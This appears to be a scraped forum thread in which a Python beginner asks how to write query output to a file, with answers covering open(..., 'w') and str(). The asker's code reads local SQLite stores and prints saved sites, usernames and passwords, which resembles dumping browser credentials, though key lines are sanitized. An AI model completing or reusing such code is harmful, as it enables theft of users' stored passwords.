I am new to python and I am trying to figure out how to write the results to a text file. Here is my code:
from os import getenv
import sqlite3
conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized")
conn3 = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized")
conn1 = sqlite3.connect(getenv("APPDATA") + "\..\Local\...sanitized")
cursor3 = conn3.cursor()
cursor1 = conn1.cursor()
cursor = conn.cursor()
cursor.execute('SELECT ...sanitized')
for result in cursor.fetchall():
...sanitized
if password:
print "Site: " + result[0]
print 'Username: ' + result[1]
print 'Password: ' + password
print '---------------------------------------------'
cursor3.execute("...sanitized")
print("fetchall:")
result = cursor3.fetchall()
for r in result:
print(r)
cursor1.execute("...sanitized")
print("fetchall:")
result = cursor1.fetchall()
for r in result:
print(r)
I have tried f = open('output.txt') at the beginning of the code and placed
f.write(r) # and I tried
f.write(result) # after defining it near bottom as these are my variables
f.close()# :(
The traceback says it was expecting a string?
Can someone help explain what should go into the print(here) ? I am trying to grasp the concepts but don't quite get it yet
Thanks
First, you want to make sure you open the file for writing:
f=open("output.txt","w")
Then you could use:
for r in result:
print >> f, r
At the end of your script, make sure you use:
f.close()
Alternatively, you may need to cast your r to a string print >> f, str(r)
As others have mentioned, you need to specify that you want to write to the file, by using the argument 'w'.
It is best practice to use with when opening your file. It will notably ensure your file is closed properly, even if there's an exception.
with open('output.txt', 'w') as f:
for r in result:
f.write(str(r))
If you love us? You can donate to us via Paypal or buy me a coffee so we can maintain and grow! Thank you!
Donate Us With